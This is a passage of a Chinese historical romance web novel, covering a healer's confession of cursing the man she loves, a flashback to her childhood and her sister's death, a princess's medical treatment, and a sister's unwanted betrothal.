花芷轻笑一声掏出一块方糖喂到她的嘴里，口腔瞬间被甜腻充斥，“先解解馋。”
夜色渐浓，不少附近的人都被这诱人的香味吸引了过来，肉自然是够的便让他们一同坐下了，等肉烤好后，赵云归将酒拿出给他们分了，由于人太多了便让人再去取一些了。
“干！”
瓷碗碰撞在一起，酒水四溅。
欢声笑语在这个本该寂静的夜晚四散开来，赵云归确实不善饮酒便一心只有手中的肉，“太好吃了！”
“哈哈哈！”
“是啊，小兄弟手艺不错啊！”
“多吃点。”
看着别人喝的开心赵云归也没忍住贪了杯，没一会儿就趴在花芷的腿上睡着了，隐隐约约还能听见周围的谈笑声，睡的更踏实了。
“嘶！”
等到再醒来时赵云归只感觉自己的头快要炸开了，还口干舌燥，轻按着太阳穴爬起来，走到桌边倒了几杯水喝了，干燥的嗓子才稍微舒服了一点。
“醒啦！”门被推开，花芷端着一碗汤和一些吃食走了进来，“绾绾，先喝点汤吧。”
刚刚实在是太晕了都没注意花芷不在房间。
一碗热汤下肚身体上的难受才稍微的得到了些缓解，“你吃了吗？”
“嗯嗯。”
花芷撑着下巴看着她，双眸含笑，“我已经吃过了，这些都是你的。”
赵云归夹着菜吃了起来了，花芷便告诉她高梨早上得到消息，普陀寺意外死了人，所以等吃完东西了便回去，“等以后再出来玩吧。”
“好。”
日落黄昏，一层金黄色的光圈躺在屋顶上，宛如一幅画。
下了马车两人挽着手走了进去院子，就见一个披着斗篷的人背对着她们坐在院子里。
看着这不速之客，花芷正想冲上去质问却被制止了，不解的看着拉着自己手腕的手，“绾绾？”
这个装扮？赵云归是见过的。
大概率
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是那日救齐卫的人，赵云归摇了摇头，示意她先出去，还有，“别让人进来了。”
“好。”
“小心些。”
赵云归走近坐下后站在一旁的青黛也离开了，到外面守着去了。
“女公子如何称呼。”
“哼！”肖念安轻笑一声，端起面前的茶杯浅抿了一口，取下帽子露出她的脸，皮肤白皙，双颊微微透着红，“肖念安。”
果然是她。
肖念安是肖权的养女，只是两人可谓是从无交集，赵云归不太明白她突然来找自己是何目的，“姑娘找我是有什么事吗？”
不知原由，总之来者不善。
“前日……”肖念安似有些放慢语调，吊着她的胃口一般，“我都看见了。”
赵云归一瞬间就明白她说的是看见杀人的过程了，收回视线轻抿了一下嘴唇，随后浅浅一笑压住内心的躁动，“嗯？”
既然看见了为何没出手救他，既然不救他今日来找她又是为了什么。
是想要从她身上得到些什么。
还是纯纯威胁她？
这话自然是不能问出口的，可她没承认也没否认，就静静的等着肖念安的下文，看看她到底有何目的。
肖念安见她如此也不着急，十分淡定的端起桌上的茶杯轻抿一口，双眸带笑，像是看穿了她的想法一样，“不过他的确该死。”
但是，那又如何呢，“杀人……”可是得，“偿命啊！”
肖念安嘴角的笑容再也压不住了，看着赵云归表情微变，眼底是说不上来的疯狂。
所以呢，“你要替他报仇？”
对上她过于直白的眼神赵云归下意识的闪躲开了，肖念安见状俯身抬手划过她的脸颊，“我可不会脏了我的手。”
“不想死的话，可得把自己藏好了哦！”若是可以便不要出那扇门，起码还能活命，不是嘛。
“哼！”轻声一笑肖念安伸手戴上头蓬上的帽子起身离开了，轻轻往前拉了拉，那本就不大的脸就被遮了大半了。
等肖念安走出去后，花芷跑进来时就见她表情有些难看的坐着。
“怎么了？”走近，手中不知何时多出一块方糖，喂进了赵云归的嘴里，“她说什么了？”
嘴里甜甜的心情也稍微好了些，只是花芷并不知道那晚的事赵云归也不知如何开口便轻轻摇了摇头，“没事。”
“走吧。”
此时的高梨坐在书案前看着手中的信纸，眉头紧锁，落款是镇国大将军赵从南，看样子他是没办法再留在京城了。
心中纵使有万般不舍也无能为力，只好先起身收拾好东西装上马车，将一切都弄好了。
此一别不知何时才能归来，想着去同花芷说一声了再离开。
回到房间，将之前藏着的木匣子找出。
打开。
里面是他几年前照着花芷的模样亲手雕的小木人，拿出，指尖摩挲着，心中万千感慨。
带着他去了赵云归的院子，想要将这个没来得及送出的东西送出，表明自己的心意，他的手刚搭在木门上便听到了里面传来了有些激动的交谈声。
里面的人似乎并没有察觉到他的存在，还在说着些什么，他居然听到了自己的名字，明知这样的做法是不对的，可他还是收回了开门的手。
只是一句话就让他的眼神一瞬间变得幽深，手慢慢握紧，许是太过用力，身体忍不住发着抖。
“你知道你在说什么吗？”赵云归听到花芷说的也满是不可置信，声音带着些许怒气。
“你说清楚点！”
高梨也不甘心的等着她的话。
23.是我杀死了我的姐姐
“绾绾！”
里面的安静了一瞬花芷的声音终于传来了，“就…我之前给高梨下了蛊！”
“砰！”
“花芷！”赵云归声音落地的同时房间外也传来了声响，两人一惊同时朝门口走去，开门却连个人影都没看到。
刚迈出去一条腿花芷就感受到自己踢到了什么东西，蹲下身捡起，“这是……我？”
“绾绾！”花芷站起身紧紧握着那个木雕，声音里满是不知所措，“怎么办？”
“他是不是都听到了啊！”
“可……”就算是听到了，“他为什么跑了啊？”
花芷有些不明所以，但她能感受到高梨一定是生气了，而且一定是生了很大的气才会一声不吭的走掉，心中莫名的慌乱让她在不知不觉中已经红了眼眶，声音也染上了些许哽咽。
她也不知道自己究竟做错了什么，现如今是真的不知道该怎么办了，赵云归轻拍着她的手臂，感受到这一丝安抚泪水忍不住滑落，“绾绾！”
“没事的，他肯定还没走远的。”
“对！”花芷这才反应过来，“我…这就去找他。”
握着赵云归的手瞬间松开往外跑去。
可是能找的地方她都找了却始终没有能见到高梨的身影。
天色渐晚，花芷轻喘着瘫坐在台阶上，看着眼前空无一人的街道出了神，“为什么……我…找不到你了啊！”
赵云归不知在她的身后站了多久了，就见她丢了魂般的看着前方，“绾绾，我好累。”
在她旁边静静坐下，花芷便十分自然得把头靠了上去，包裹着月光的泪珠顺着脸颊上没来得及擦的泪痕滑落，“阿音……我…到底……做错什么了啊？”
“为什么？”为什么他一声不吭的就走了啊，“我就这么让人讨厌吗？”
“我还以为……”在他心中是有喜欢的呢！
“我明明从未伤害他啊！”越想越委屈，泪水更是止不住了，脸色苍白，抱着旁边的赵云归，将头埋在她的颈窝抽泣着，嘴唇微微颤抖却是说不出话了。
呜咽声慢慢变小，呼吸声慢慢平稳。
她的眉头却依旧紧缩。
好像做了一个很长很长的梦，而那个梦逐渐的与她脑海中的记忆重合。
许多年前。
“谷主布置了这么多习题你都完成了？”与小花芷一般高的小男生满脸羡慕的看着她，“哇塞，花芷你真的好厉害啊！”
“我要是有你这么厉害就好。”这样就不会被谷主责骂了。
又被夸了，小花芷双手环抱微微昂头，骄傲的不得了。
“那是，也不看看我是谁！”只是，“母亲怎么还没回来啊。”
小花芷撇着嘴，一下子又变得难过了起来，小男生见她这样连忙开口安慰，“谷主肯定是有事，晚点一定会回来陪你的！”
“而且谷主她肯定会夸你的。”
“是吧！”花芷瞬间将刚刚难过的情绪抛到脑后去了，“我也这么觉得。”
“行了。”
“你抓紧了，不然就不带你玩儿了。”说着小花芷便将课本收好蹦蹦跳跳的出去了。
爬到神医谷石门前的那块大石头上，两条腿一个劲儿的晃着，一直望着那条上山的路，盼望着看到母亲的身影。
等着等着太阳都快下山了。
原本摇晃的腿停下，失落的低着头。
“你在这儿干什么呢？”听到熟悉的声音越来越近，小花芷立马从石头上跳了下去，开心的跑到苏白英的身边，正准备开口一个个冰冷的字率先闯进她的耳朵，“一天天只知道偷懒。”
“你就不能跟你的姐姐好好学学吗？”说着苏白英一个眼神都懒得分给她，抱着怀里受伤的小孩子往里走去，“都说了这么多次了，还是这么不让人省心！”
小花芷看着母亲那越来越远的背影，一股委屈涌上心头，落下泪来。
可是，今日，“今日是我的生辰啊！”
还有，“我没有偷懒的。”
“我没有啊。”为什么？为什么母亲不听她解释呢。
小花芷低着头蹲下身抱着腿，眼泪顺着她被风吹红的脸颊滑落，心中想着要是母亲来找她就原谅母亲。
可，夜晚的风好凉，吹的她的心都冷了。
苏白英不仅忘记了她的生辰，还将她丢在这里不管了，“我再也不要喜欢母亲了。”
也不知这大晚上的是哪里来的勇气，哭着哭着就往山下跑，等她反应过来时天已经暗的快看不清路了。
“哟！”
“这是……嗝谁…家的女娃娃啊！”一个男人摇摇晃晃的走到小花芷身边，拉住了她的手，任怎么挣扎也是无济于事，“我嗝送你……嗝……回家啊。”
“你放开我！”
“啊！放开我！”
小花芷根本没有力气反抗，一下就被那人推倒在地，浓烈的酒气闯进鼻腔，整个人都被这个醉汉压住了，腿上感受到一股别样的力道，小花芷吓得呲哇乱叫。
“啊！”
“啊啊！”
“呜呜呜！”
“你是坏人……放开我！啊啊啊！”
小花芷的力气在这个中年男人面前就跟挠痒痒一样，不仅没法逃走反而让他更加兴奋了，呼吸变得急促，“别急啊！”
醉汉微微抬腰伸手解着自己的衣服。
“啊啊啊！不要！”
小花芷从来没有经历过这些事，根本不知道该怎么办，意识瞬间被恐惧吞噬。
“砰！”
突然，男人收了力气压在她的身上没了动静。
“你快出来。”
稚嫩的声音幻唤醒了小花芷的理智，顺着小男孩抬起的一丝缝隙艰难的爬了出来。
“没事吧？”小花芷想要躲开小男孩伸来的手却一个没注意被石头绊倒了，“啊！”
“小心。”
小花芷捂住脚踝又哭了出来，吓得小男孩不知道该怎么办了。
“你，你别哭啊！”
“我……”小男孩实在是不知道该怎么办了直接就伸手捂住了她的嘴。
小花芷一脸懵逼的看着她，也是真忘了哭了。
“我先送你回去吧，不然他醒了会找我们麻烦的。”还被捂着嘴的小花芷点了点头。
“嘶！”
刚想站起了脚踝就传来一股锥心的痛。
小男孩察觉到了便蹲在她的身前，“上来，我背你回家。”
“哦。”
迷迷糊糊的被小男孩送回来神医谷，站在门口，正准备进去又转过身，小男孩果然还站在不远处看着她的，还没走。
“我要是想见你怎么办？”
小男孩指了指上山的路，“我可以等你的。”
小花芷脸上瞬间就扬起了笑容，“好！”
冲着他挥了挥手告别，一瘸一拐的走了进去，免不了又是一顿骂，却并没有将事情告诉苏白英，她也没有追问。
后面小花芷伤好了后便会很快的完成课业然后跑去找小男孩玩，苏白英也只当是小孩子贪玩每次骂她两句
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也不多管了。
花芷知道，因为苏白英找到了比她更有天赋的人便放松了管束，那人便是之前浑身是伤被她抱回来的人，她叫谷清音。
她很厉害很厉害。
母亲的视线被分走花芷好像也没有那么难过了，因为谷清音对她很好，很照顾她，小花芷依旧每天都会去找小男孩玩儿。
直到有一天，他看上去有些伤心。
“我还不知道你叫什么呢？”
小花芷吃着他带来的糕点，开心晃着腿，笑眼弯弯，并没有发现他话下别样的情绪，“我叫花芷千万不要忘了哦！”
可后面等小花芷再来找他时却不见人了，开始只当是他有事没法来，可一晃眼几年过去了，花芷再也没有等到那个陪她玩儿的小恩人了。
一日，苏白英又下山了，花芷便像往常一样坐在外面的石头上等着，突然一个与她穿着相似的女子焦急跑来，喘着气，“花锦…她…出事儿了。”
“姐姐怎么了？”
花芷连忙从石头上跳下去跑到了自己的房间，“姐姐！”
只见花锦满脸痛苦的躺在床榻上，苍白的脸上泛着冷汗，花芷立马跪在床边，给她把脉。
拿出针灸袋，为花锦诊治。
看着她逐渐缓和的神情花芷也松了口气，突然外面传来声音，“谷主回来了！”
“母亲！”
看着走近的人花芷起身想要说明情况，迎来的却是重重的一巴掌，“啪！”
“你在做什么？”
花芷捂着那瞬间染上红晕的脸颊，不解，“我在救姐姐。”
“救她？你是在害她！”
“我没有！”花芷焦急的想要解释，可再次看向花锦时就见她表情再次变得痛苦，原本苍白的嘴唇却染上了一丝鲜红。
“杀死你姐姐你就高兴了？
“小小年纪你的嫉妒心怎么就这么强啊！”
嫉妒？花芷只觉得脑袋嗡嗡作响，她怎么会嫉妒呢？“我比她厉害啊！”为什么要嫉妒。
苏白英正专心的为花锦诊治，旁边再小不过的声音自然是没听见的，突然，花锦的身体开始轻微的抽搐，随即大口大口的鲜血从口腔涌出，怎么也止不住。
花芷想要上前，腿却像是被禁锢住了一样。
“姐姐……姐姐……”
花锦的表情痛苦至极，慢慢的她的身体没有了反应，她知道，她闯祸了，她没有姐姐了。
她不应该那样自信的，应该等母亲回来的。
“啪！”泪水不知道何时从泛红的眼眶涌出，一巴掌被扇倒在地仍旧是懵的。
“我怎么会有你这么恶毒的女儿。”苏白英带着哭腔的声音清晰的传入她的耳朵，在她的脑海中无限放大，“滚！”
“你给我滚！”
“滚啊！”
不知是怎么走出去的，等他反应过来时人已经走到半山腰了，而她身上什么也没有，只有苏白英塞到她手上的针灸袋。
“对不起！”
“对不起……姐姐……对不起……”
不知不觉中她已经下了山，可母亲不要她了她又能去哪儿呢？
已经红肿的眼睛再也流不出眼泪了。
可是她的心好痛好痛啊。
一个个日夜更替，感受到身下的颠簸花芷缓缓睁开了了眼，入目是面前干枯的稻草。
“终于醒了啊。”
花芷撑着酸软的身躯起身，就见她现在躺在一个牛板车上，旁边躺着一个陌生女人。
“你是谁？”
24.千万不要忘记我了
“鸢伏苓。”
“我是……”说着鸢伏苓向后倒去，枕着手臂闭上了眼，“一个……”
“一个将死之人。”
花芷一惊，不知该如何安慰她，可鸢伏苓似乎并不在乎生死，已然看透，自然是不需要她那些虚情假意的安慰了，不过，“你看着顺眼，要不你拜我为师吧。”
“这样我也能安心的去了。”
“啊？”花芷打量着眼前人，看她这这般模样并不像是什么世外高人啊，可她如今也无去处便当完成她一个心愿吧，“好！”
“拜师礼就免了！”鸢伏苓拉过花芷的手让她躺在身侧。
花芷从前总自诩天赋异禀，可她仍旧被谷清音超越了，又害死花锦，如今对于鸢伏苓的病也是束手无策，或许，本就不该走这条路吧！
就这样两人结了伴，花芷跟着她去了很多从未去过地方，看到了过去从未见过的风景，鸢伏苓就像一束光一样照进她的生命中，可最后她却连留下这束光的能力都没有。
按照鸢伏苓的意思将她火化，花芷每到一个地方便留下一点，一年又一年，等到瓷罐空了后花芷便想着去找一个依山傍水的地方留下来。
一日，花芷徒步走到一个草原上，远远的就看到了一匹骏马朝她走来，那匹马正正好好在她身前停下，她这才看到马背上还驮着一个人，一个浑身是伤的男人，看他的装扮定不是平常人家。
花芷并不想多管闲事，可那马却赖上她了。
没办法，将马牵到不远处的一块大石头旁边，让男人靠在石头上，把脉，这……已经，“救不回来了。”
正想着离开，男人的眼皮动了动，嘴角一张一合在说些什么。
还是心软了，俯身贴近，可他说的话却是断断续续的，根本听不懂，轻叹一声开了口，“告诉我你叫什么名字？”
“高…梨…”
几个字吐出，在花芷耳边回荡。
取出一个盒子打开，这是鸢伏苓给她的，他现在的状态便只有这个能救他了，这是鸢伏苓留给她最后的东西了，便当是积德行善了吧。
等高梨醒来时便已经身处在军营了，起身时感受到身上的伤已经好的差不多了。
从士兵口中得知是一位云游的医女将他送回，并且日日衣不解带的照顾他，高梨的脑海中瞬间浮现出了一个身影，“她现在在哪儿？”
“跟着燕姑娘在给他们熬药呢。”
等高梨到时就见花芷在帮着士兵包扎伤口，见到这般场景脸上也没一丝害怕。
感到心中有一股不一样的悸动。
花芷没有提出离开，高梨也没有说起，三个月过去了，两人虽没怎么相处却也熟悉了很多，在高梨眼中花芷便是一个善良开朗的人，跟她待在一起总能很放松。
一日，他们都出去了，花芷便在高梨的房间待着，顺便帮他收拾一下，没一会儿之前与她一起熬药的燕半梦却走了进来。
“姐姐，你在这儿呀！”
“我来帮高梨哥哥收拾就行，你去休息吧。”说着手上的东西就到了燕半梦的手中，花芷只好尴尬的往后退了一步。
“你们……很熟吗？”
“是呀！”燕半梦的声音甜甜的，笑容也甜甜的，看上去很单纯很招人喜欢，与她之前见到的人都不太一样，“我和高梨哥哥从小一起长大的。”
“南叔叔还说要我当高梨哥哥的媳妇呢！”边说着燕半梦便娇羞的低下了头，脸一下就红了，可她手上的动作却没有停顿，很快就收拾好了，一看就很熟悉这里，“姐姐也会祝福我们的吧！”
“当然。”
“嗯……”花芷也不知该同她说些什么，只是她再留在这里也不太合适了，“我也待了很长时间了，本想着今日与他们告别的。”
“可……”花芷话语中满是苦涩，“你替我同她们说一声吧。”
“啊？”燕半梦走近拉住她的手，不舍道，“这么急吗？”
可转念一想她或许真的是有什么急事呢，也不好再挽留，“那好吧，我替高梨哥哥送送姐姐。”
等高梨他们回来时燕半梦一心只想着替那些受伤的士兵处理伤口，也没第一时间见到高梨便将花芷的事抛之脑后了。
高梨也曾在附近找过她，也只是无用功罢了。
也许有缘自会相见。
一个稚嫩的声音再次耳边响起，“你可千万不要忘了哦！”
“我叫……”
在马车的颠簸中高梨被迫从睡梦中醒来，伸手扶着额头，不自觉皱起了眉头，“不要忘记谁？”
为什么他想不起来了。
来不及细想马车便停下来了，走下马车便见燕半梦冲他冲了过来，踮脚搂住他的脖子，“高梨哥哥！”
“小燕好想你！”说着不等高梨推开她，便飞快在她的脸颊亲了一口。
“小燕！”
见他皱起了眉头燕半梦连忙松开手挽住了他，装傻充愣，“快走啦，别让南叔叔等久了。”
高梨只能任由她带着他往军营走。
小雨忽至，天色瞬间染上一丝灰暗，慢慢的雨声大了起来，天还未全亮，她起身看着身旁装睡的人，“花芷。”
“你还好吗？”赵云归本是想着带她出去散散心的，可奈何她不愿动弹。
“我没事啊。”哽咽着睁开眼，坐起身，嘴角的笑显得那般牵强，“我早就知道……”他有喜欢的人了。
什么？
可高梨明明说过喜欢她的呀。
“真的吗？”眸中闪过一丝不可置信，见赵云归点了点头她也权当是安慰她的，可就算是假的又如何，“我只是不想他误会我。”
赵云归抱住她轻轻拍打着她的背，安慰道话语一直在她耳边响起。
又过了好久好久，雨过天晴，整个屋子都亮堂了，两人也起床吃了东西，花芷想要一个人呆一会儿，况且，“你今日不是有事吗？”
“我没事的，你快去吧。”别耽误了正事儿。
今日正是箫婉兮前往鬼市之日，便想着早些去早些回来，跟小秋吩咐了几句便离开了。
她到时还没有人来，便先坐着等着了。
翻看着医书，便有人迈步走了进来，抬眼，没想到竟是慕珂，若不是那夜见过他摘下面具的模样还真认不出来。
两人都穿的很是朴素。
箫婉兮是被他搀扶着走进来的，身上披着浅黄色的披风，宽大帽子遮住了她苍白的脸，扶着她坐到赵云归面前便去将门关上了，然后在箫婉兮旁边蹲下，捉住她的安抚着她，“我会一直陪着你。”
“别害怕。”
将脉枕推近些，箫婉兮有些颤抖的手搭到了上面，感受着脉搏，“脸露出来。
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”
“好。”箫婉兮的声音有些有气无力。
慕珂帮他解开斗篷取下叠好抱在怀里，箫婉兮未施粉黛，未戴珠钗，脸上只剩下那一丝病态的苍白。
“咳咳咳。”
“可有办法？”
赵云归思索一瞬收回了手，“你把她扶到那边躺好。”
说完便起身去抓药去了。
让慕珂看着正熬着的药，点了一根香插在她的枕边，“闭眼。”
“张嘴。”一颗药丸送到箫婉兮的嘴中，等她咽下后又让她含了参片，去拿东西时便注意到慕珂的视线一直落在她们这边。
“熬药专心些，别浪费了药材。”
箫婉兮只感觉自己的意识渐渐模糊，直到完全昏睡过去赵云归才重新回到她旁边。
脱掉鞋子盘坐在床榻里面，轻薄的纱幔被放下，两人的轮廓若隐若现，箫婉兮的衣裳被解开露出白皙的皮肤，看着药的慕珂看的出赵云归的动作是在给她施针，听说了她很厉害，可心中的不安仍旧没有消退。
“一定不要有事啊。”
看着那根香越来越短，直至燃尽慕珂连忙将药盛到瓷碗中端过去，赵云归正将银针拔出给她穿衣裳，便叫慕珂在一旁等着了，“给她喂药。”
将空间留给二人。
慕珂将床榻上脸色恢复了些红润的箫婉兮搂在怀里，端起旁边冒着热气的药轻轻吹着起一点一点给她喂。
将东西收拾好走回床边那药才消下去一半，箫婉兮还没醒便不好催，“以后每月初都需来施一次针，满十次便可痊愈。”
“好。”
“多谢。”
赵云归回到赵府刚换上衣裳安王府上的人便来请她了。
“都这么晚了，确定是要我过去？”如今天已经黑了，花芷刚刚都睡下了，她也才洗漱完，搞不懂箫祁政又想干什么。
“是的，安王殿下让我来请二小姐一叙。”
“稍等一下。”赵云归回房换了一身衣裳，将长发简单的盘了一下便出去了。
“带路吧。”
马车颠簸，无聊的掀开帘子，这路并不是去去安王府的路，不过那人确实是箫祁政的人赵云归便也没有多想。
“二小姐到地方了。”
走下马车，看着眼前的场景，她可以说是再熟悉不过了，这是，“映月楼！”
见她愣住，便催道，“殿下已经等着了。”
“好。”
跟在那人走到岸边的一艘画舫旁，确确实实看见了箫祁政的身影，走上去便来人引她坐到了箫祁政旁边。
坐下后画舫往湖中心驶去。
乐声未停，她也就没开口说话。
前面坐着的那女子穿着粉色神仙裙，洁白的珍珠饰品挂在她纤瘦的身躯上，乌黑的长发盘起，点缀着简单的饰品，轻盈薄纱随意的搭在头上，随着清风微动。
她抱着琵琶，指尖在紧绷的弦上拨动着，殷红的嘴唇一张一合，婉转动听。
这人是……“清儿？”
小声嘀咕着，脑海中瞬间浮现出那日画舫中的女子。
没想到她等那么多日都不及箫祁政的一句话，那他让自己做这些的意义是什么，单纯喜欢看她吃瘪还是想让她求人。
简直是完全不按套路出牌。
是越来越看不懂旁边那人了。
25.小公子是女公子
一曲结束，清儿到旁边稍微休息一下去了，见赵云归有些走神，又等了一会儿他才终于舍得开口说话了，“怎么了？”
“在想什么？”
“啊？”不知飞到何处的思绪被拉回，有些话不过脑子便说出口了，“怎么没见慕珂啊？”
“他去照顾长平了啊！”箫祁政记得她是知道这件事儿的，不解她为何会再问，却也还是回答了她，“怎么了吗？”
“长平长公主对慕珂是不是……”有不一样的感情啊！
“哼！”
“是。”箫祁政也是没想到她这脑袋真是块榆木啊，竟到了今日才反应过来，“云归，你这未免也太迟钝了些吧！。”
“不是啊！”
“可……可是……”赵云归看着他，脸上全是不解，有些话又像是说不出口一样，斟酌了许久才憋出一句话来，“小公子，她……是女子啊！”
“女子又如何，长平爱玩便随她吧。”
“他们注定没结果的。”
只是慕珂与箫婉兮从小便认识，虽说后面出了些意外，但箫婉兮救过她的命，所以……至少啊，“慕珂一定不会伤害长平的。”
“从小便认识？”
“是。”
他还记得儿时，慕珂原是当时三皇子也就是他们都三皇叔捡回来的，原本她们两人是不会有交集的。
直到那一天。
“公主小心！”小慕珂站在树下一慌张的看着坐在树上的小孩，不知所措，生怕她掉下来了，说话时声音都止不住的颤抖，“公主——！”
小箫婉兮听到声音后停下了手上的动作低下头看去，就见到一个白白瘦瘦的还从未见过的小孩焦急的看着她，小手还在乱挥着，“你是谁啊？”
“我……”小慕珂一顿也不知道该怎么说，因为她也不知道自己是谁，小箫婉兮见她不说话了也不看她了，将卡在上面的小鸟，放在手心轻轻抚摸着它的毛。
“小鸟，你别害怕哦！”
她突然想到了三皇叔说前些时间，远处有一个村子被屠杀，等他们到时就只剩下一个浑身是血的孩子了，说的估计就是她了吧，还怪可怜的，想了想又看向了她，“喂。”
“你以后要和我一起玩儿吗？”
“啊？”没想到会有人愿意和她一起，愣了一下才激动的点了点头，可是，她马上就要被送走了啊，想到这儿脸上的笑容又消失了。
小箫婉兮见她点头便行了，才不管其它的呢，“你叫什么名字？”
“慕珂。”
“那你会保护我吗？”
小慕珂没有犹豫，坚定到点了点头，“会！”
“你保证。”
“我保证，一定会！”保护好公主殿下的。
“好。”
小箫婉兮很满意她的回答，见到不远处一抹黄色的身影，又看了一眼手上的小鸟，将他护在怀里闭着眼向后倒去。
“公主！”
“啊——”
此处的动静惊动了不远处的皇帝，等他们赶来时就见小箫婉兮压在满脸痛苦的小慕珂身上。
小箫婉兮是唯一的一位小公主，加上她出自皇帝最宠爱的妃子，哪怕那妃子已经不在了皇帝也是疼爱的紧的。
“婉兮！”
皇帝走上去将她抱起，便想着尽快带她回去唤太医来，却见怀中的人轻轻拍了拍他的手臂，“父皇等一下！”
“是她救了我，我要她跟我回去。”
在皇帝眼里她向来是这样想一出是一出，微微侧身睨了地上抱着手臂的小慕珂一眼便答应了她，就这样小慕珂成了她的陪读，日日夜夜都与她待在一起。
直到十岁那年，她最小的姑姑被送去和亲，不知为何却强行带走了慕珂，她却没办法留住她，后来，她们便分开了。
她不知道为什么会这样。
又哭又闹只能让皇帝更厌烦她，帮不了慕珂。
那……“后来呢？”
也不知是想到了什么，箫祁政眼中闪过一丝别样的情绪，垂下眼眸不愿再说，“过去太久了。”
“忘了。”
赵云归本来想问为何要非得带慕珂去和亲，可看到他的表情又将话咽了回去，这时清儿又抱着琵琶过来了，两人便都不再提了。
乐声响起。
箫祁政抬手在旁边候着的侍女便走上去给两人倒了酒，见箫祁政一饮而尽她也端起了酒杯，看着她愣住的手，不解道，“怎么了，不喜欢吗？”
“没有啊。”
赵云归站起身，也不顾旁边的人绕过中间的桌子走到箫祁政旁边，俯身撑着轮椅，赵云归的眼神染上了雾气，“这么晚了，王爷找我不回就是为了听曲儿吧！”
箫祁政咽了咽口水，“我……”
话还没说完可就下意识喝下了赵云归喂到嘴边的酒，见他咽下，赵云归将手上的杯子丢在地上，双手撑着轮椅，靠在他耳边，“谢谢王爷。”
等她站起身时箫祁政的眼睛已经闭上了。
瞪了他一眼，“真是无聊！”嘀咕着又坐回去继续听曲儿，旁边的人却都像是没看见一样，没有任何动作。
一曲结束，清儿将手上的琵琶递了出去，起身时头上的薄纱滑落，她也并未去管，径直走到了赵云归身边，“姑娘，可否…借一步说话。”
跟着她走到旁边坐下，与刚刚的地方仅隔了一扇屏风，两人面对面坐着，“妈妈说有个姑娘想要赎我。”
说道这儿清儿浅浅一笑，动人心魄。
“姑娘好心，清儿心领了。”说着她起身给赵云归倒了杯水，“只是，此事便不劳烦姑娘费心了。”
“我是肖太尉的人。”
“安王殿下也是知道的。”
突如其来的消息砸了她闷头一棒，让她脑袋有些混沌了，那两人不对付这是人尽皆知的事情了，那箫祁政还要她去找清儿是想干嘛？
他到底要做些什么。
两人相处时所发生的事情在脑海中晃过，又说了些话清儿就离开了而她还坐在那儿一动不动。
“赵二小姐，我送你回去吧。”
“好！”
下船时，总感觉周围的人格外的多，下意识伸手护住腰间的玉佩，有些恍惚的上了马车。
“二小姐。”
“二小姐！”
“啊！？”赵云归像是刚听到他的叫喊声一般看过去，“怎么了？”
“到了。”
“哦，好。”下马车时赵云归还是有些恍惚，走进去后转身看了一眼已经走远的马车，她的眼神才再次变得清明。
回到院子却见花芷坐到了外面。
本以为树她还在伤心上前想要出言安慰，话还没来得及说她先开口了，“刚刚大小姐来了，你不在。”
赵心缇怎么会突然回来呢？是……“什么时候？”
“就…刚走一小会儿。”
赵云归摸了摸花芷的头，太晚了便没有再说什么，送她回房睡觉去，刚走进赵心缇的院子，便闻到了一股浓郁的酒味，“阿姊。”
“过来坐着，陪陪我。”
赵云归走近酒味便更重了，赵心缇的脸上也浮现出一丝不是很明显的红晕，她的眼中是清晰可见的疲惫。
相处这么久还是头一次见她这般模样，定是遇到什么不开心的事了，可她又不清楚
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，也不好出来安慰。
看着她，欲言又止。
赵心缇轻叹一声将酒杯中的酒一饮而尽，“你有事要问？”
“阿姊是不开心吗？”
她笑的温柔，为了不让赵云归担心摸了摸她的头，又低下头看着手中的酒杯，“没有，阿姊没有不开心的。”
“你呢，回家了开心吗？”
“嗯嗯，自然开心。”赵云归点了点头，总觉得赵心缇是遇到什么事儿了，“阿姊今日怎么突然回来了？”
而且还是半夜。
她垂下眼皮，翻过一个干净的酒杯放在赵云归面前，倒满。
赵心缇自己又倒了好几杯喝下了。
握着酒杯的力道不断加重，再次开口时那温柔的声音中带着一丝无奈和苦涩，“我要成亲了，云归为我开心吗？”
成亲？
和谁？
“怎的这般突然？”她怎么会连一点风声都没有听到呢，“什么时候？”
“他是阿姊的心上人吗？”
“明年。”
是……心上人吗？
说到这个赵心缇不禁苦笑，似是在回忆什么，抬头看着天空的点点繁星，泪水从眼角滑落，许是想到了她的心上人嘴角带上了一丝笑意，“我的心上人吗？他已经……不在了！”
“不在了——”
她的心上人死在了他们最相爱的那一年，她的少年郎是被赵家害死的啊，可是赵家于她有救命之恩，所以她什么都做不了。
自嘲一声，酒水混着泪水被她一饮而尽。
赵云归不理解，既然不是与她喜欢的人成婚为何会如此草草的决定，到底是个什么样的人啊，才让他们不顾赵心缇的意愿定下婚事。
“唉！”轻叹一声，转头看向别处，唇角是淡淡的轻笑，像是在自嘲，“他……”
“就是一个普通人。”普通再普通不过，没有一官半职，更甚是从未见过面，她又从哪里知道为何会这般的突然呢。
“阿姊若是不喜欢这桩婚事……”大可提出来啊。
赵心缇打断了她的话摇了摇头，低下头，眼眶里蓄满的泪水终是落下了，喜欢或者是不喜欢对于他们来说本来就……“不重要！”
“怎么会不重要呢！”
她好歹是将军府的嫡小姐，又不是被权势压迫非嫁不可，而且如今将军府也并未没落，怎么还不能按照自己的意愿做事了？
“我……”赵心缇只觉得喉咙被堵住了一样。
难受。
刺痛。
也无能为力。
因为，“我……”本就不是…赵家的女儿，只是一个工具罢了，可这些话不能让赵云归听了去，不然她该多想了。
“阿姊——”
赵云归也看出有些话她不愿说出，自是不能强求的，便端起桌上的酒轻抿了一口。
两人又聊了好久好久。
看着有些昏昏欲睡的赵心缇，还是问出来口，“母亲呢？”
“我们不让你们见面，也是为了你。”赵心缇心中还是有万般无奈，可她毕竟是柳眉昭的亲生女儿啊，哪有拦着人家相认的呢，可，“母亲若想见你便会来见你的。”
这事其他人都插不了手啊。
“早些去休息吧！”
“我还是留下来陪阿姊吧。”
赵心缇笑着拿起赵云归面前几乎没变的酒一饮而尽，“回去吧。”
“让我一个人待会儿吧。”
强忍着哽咽说完，她无力般的趴在了石桌上，无声的泪水从眼角滑落。
银色的光如同薄纱一般披在她的身上。
何其无助……
26.幽会被发现
自从那日过后赵云归便陪着花芷呆在家中，除了每月固定一日去给箫婉兮施针以外几乎都没有再出门了，箫祁政那日后便去了箫轻尘那儿呆了一个月，后面回来也没再来找过她，真的有什么事也只会让慕珂来找她。
就这样过了两个月，寒气肆虐，大雪纷飞。
坐在窗边探出手去，骨节分明，关节微微泛着粉红，雪花落在温热的手心便化成水，刺骨的风袭来引得人不自觉颤栗。
“绾绾！”
“在看什么呢，别着凉了。”花芷走到她身边关上窗户将她拉走，炭火被烧的通红，这才感受到些许温暖。
